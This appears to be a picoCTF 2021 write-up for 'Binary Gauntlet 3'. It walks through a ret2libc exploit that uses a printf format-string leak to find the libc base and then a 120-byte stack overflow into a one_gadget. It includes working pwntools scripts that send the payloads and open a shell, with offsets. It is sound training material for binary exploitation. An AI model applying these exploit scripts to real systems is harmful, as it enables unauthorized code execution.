Binary Gauntlet 3 picoCTF 2021 Solution

Published: April 2, 2026

Description

The final stage of the Binary Gauntlet. Unlike Gauntlet 0/1/2, the stack here is non-executable, so the 'leak a stack address and jump to your shellcode' trick from the earlier levels does not work. This level is a ret2libc: leak libc through the format-string bug, then return into a one-gadget.

Remote + binary

Download the binary and the provided libc. Check mitigations with checksec (NX is enabled here).

Read the binary in a disassembler to see how it reads and prints your input.

bash
wget https://mercury.picoctf.net/static/<hash>/vuln
bash
chmod +x vuln
bash
checksec vuln

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Map the two bugs: format string + overflow
    Observation
    I noticed checksec reported NX enabled and the source showed both a printf(user_input) call and an unbounded buffer copy, which suggested two distinct vulnerabilities to chain: the format string for leaking libc and the overflow for hijacking the return address.
    main declares char local_78[104] and copies your input in without a length limit, so you overflow the saved return address. The offset from the buffer to the saved return address is 120 bytes. Before that, the program prints your input directly with printf(user_input), which is a format-string vulnerability you can use to leak a libc-relative pointer off the stack.
    bash
    checksec vuln          # NX enabled -> no stack shellcode (unlike gauntlet 0/1/2)
    bash
    # Find the offset to saved RIP (cyclic pattern): it is 120 bytes here.
    python
    python3 -c "from pwn import *; print(cyclic_find(0x6161616b))"

    Expected output

    120
    What didn't work first

    Tried: Running the cyclic pattern against the binary locally and getting a different offset than 120

    If you did not supply the challenge-provided libc with LD_PRELOAD, the local glibc's stack frame for __libc_start_main is a different size, shifting the saved RIP offset. Run checksec and patchelf/pwninit to patch the binary to the provided libc before measuring the offset so the number you get matches the remote instance.

    Tried: Trying ret2shellcode after seeing a format-string and overflow in the same binary

    Gauntlet 0/1/2 allowed stack shellcode because NX was off. Here checksec shows NX enabled, so the stack pages are marked non-executable and jumping to shellcode you wrote there triggers a SIGSEGV instead of running your code. The correct path is ret2libc: leak the base address first, then jump into existing libc code.

    Learn more

    Why this level changes tactics. Gauntlet 0/1/2 let you place shellcode on the stack and jump to it. Here NX (non-executable stack) is on, so the stack bytes you control cannot be executed. The reusable primitive that remains is ret2libc: redirect the return into existing executable code in libc. To do that you first need libc's runtime base, which the format-string leak provides.

  2. Step 2
    Leak libc with the format string
    Observation
    I noticed printf(user_input) was called with no format argument before the overflow was triggered, which suggested using a positional %p specifier to print a libc-relative return address off the stack and compute the libc base by subtracting its known offset.
    Send a format specifier that prints a stack slot holding a libc address. In the 2021 mercury instance, %23$p returns a pointer that sits a fixed distance above libc base, so libc_base = leak - 231 - 0x21b10 (the 0x21b10 is __libc_start_main's offset in libc6 2.27-3ubuntu1.4). Recompute these constants if your libc differs.
    python
    python3 - <<'PY'
    from pwn import remote
    io = remote("mercury.picoctf.net", <PORT_FROM_INSTANCE>)
    io.sendline(b"%23$p")
    leak = int(io.recvline().strip(), 16)
    libc_base = leak - 231 - 0x21b10        # instance-specific; verify against the given libc
    print(hex(libc_base))
    PY
    What didn't work first

    Tried: Sending %23$s instead of %23$p to read the pointer as a string

    %s dereferences the value at that stack slot and tries to print bytes until a null terminator, which either crashes (SIGSEGV if the address is not mapped) or returns garbage characters. You need %p to print the raw numeric pointer value in hex so you can subtract the known __libc_start_main offset from it to compute libc_base.

    Tried: Trying %1$p through %10$p and assuming one of those early slots holds the libc address

    The libc-internal return address near __libc_start_main sits deep in the call frame, around slot 23 on this binary. Low-numbered slots return saved registers and local buffer addresses, not libc pointers. Without inspecting the stack layout under GDB with info frame and x/40gx $rsp, picking the wrong slot produces a value that does not convert to a valid libc_base when you subtract the known offset.

    Learn more

    Why a positional %p leaks libc. When a program runs printf on attacker text with no format argument, each %p prints whatever is at the corresponding argument slot, which on the stack means saved registers and return addresses. One of those slots holds a libc-internal return address (here near __libc_start_main), and subtracting that symbol's known offset yields the libc base. ASLR randomizes the base, but not the internal offsets, so one leak defeats it.

  3. Step 3
    Return into a one-gadget
    Observation
    I noticed that a direct ret2system approach would require controlling rdi and stack alignment, and the challenge provided a specific libc binary, which suggested running one_gadget against that exact libc to find a self-contained execve gadget that avoids those extra setup steps.
    With libc_base known, overflow the return address (120 bytes of padding) with the address of a one_gadget. In the challenge libc (2.27-3ubuntu1.4) the gadget at offset 0x4f432 executes execve('/bin/sh', 0, 0). Run one_gadget on the provided libc to get the right offset and its register/stack constraints for your build.
    python
    python3 - <<'PY'
    from pwn import remote, p64
    # carry libc_base from the previous step
    ONE_GADGET = 0x4f432            # from: one_gadget ./libc.so.6
    payload = b"A" * 120 + p64(libc_base + ONE_GADGET)
    io.sendline(payload)
    io.interactive()                # -> shell, then: cat flag.txt
    PY

    If the gadget's constraints are not met (it segfaults), try the other one_gadget offsets the tool prints, or fall back to a full pop rdi; ret -> "/bin/sh" -> system chain with a ret added first for 16-byte stack alignment.

    What didn't work first

    Tried: Jumping directly to system with rdi pointing at '/bin/sh' and hitting a SIGSEGV or SIGBUS

    The x86-64 ABI requires the stack to be 16-byte aligned at the call instruction. A raw ret into system without an extra ret gadget beforehand often misaligns the stack by 8 bytes, causing a crash inside system's SSE movaps instruction. Adding a bare ret gadget (found with ROPgadget or ropper in the binary or libc) before the system address fixes alignment and avoids the crash.

    Tried: Using the one_gadget offset from a different libc version (e.g. Ubuntu 18.04 vs. 20.04)

    One_gadget offsets are compiled into the specific libc binary; they change between versions and patch levels. If you run one_gadget on your local system libc instead of the challenge-provided libc.so.6, the offset will point into the wrong location and the payload will jump to arbitrary code rather than the execve gadget. Always run one_gadget against the exact libc downloaded with the challenge.

    Learn more

    Why one_gadget over system. A clean system("/bin/sh") call needs rdi pointing at the string and a 16-byte-aligned stack at the call, which often means extra gadgets. A one_gadget is a single libc address that already sets up and calls execve("/bin/sh", NULL, NULL) when its constraints hold, so the exploit reduces to one address after the padding.

    See Buffer Overflow Binary Exploitation and Pwntools for CTF for the full ret2libc workflow.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{f629b202...}

NX is enabled, so the gauntlet's stack-shellcode trick is out. Use the uncontrolled printf to leak libc (e.g. %23$p minus the known offset), then overflow the return address (offset 120) with a one_gadget at libc+0x4f432 for a shell. The leak slot, fudge constant, and gadget offset are libc-version specific.

Key takeaway

Ret2libc replaces the stack-shellcode technique when NX (non-executable stack) is enabled. Instead of injecting code, the attacker leaks libc's runtime base address through a format-string or other info disclosure bug, then overwrites the return address to jump into existing libc functions like system or a one-gadget execve. The same two-phase pattern (leak the base, then overwrite RIP) applies to any ASLR-protected binary where a readable primitive and a write primitive coexist, making it one of the most common exploit building blocks in real-world pwn.

Related reading

Want more picoCTF 2021 writeups?

Tools used in this challenge

What to try next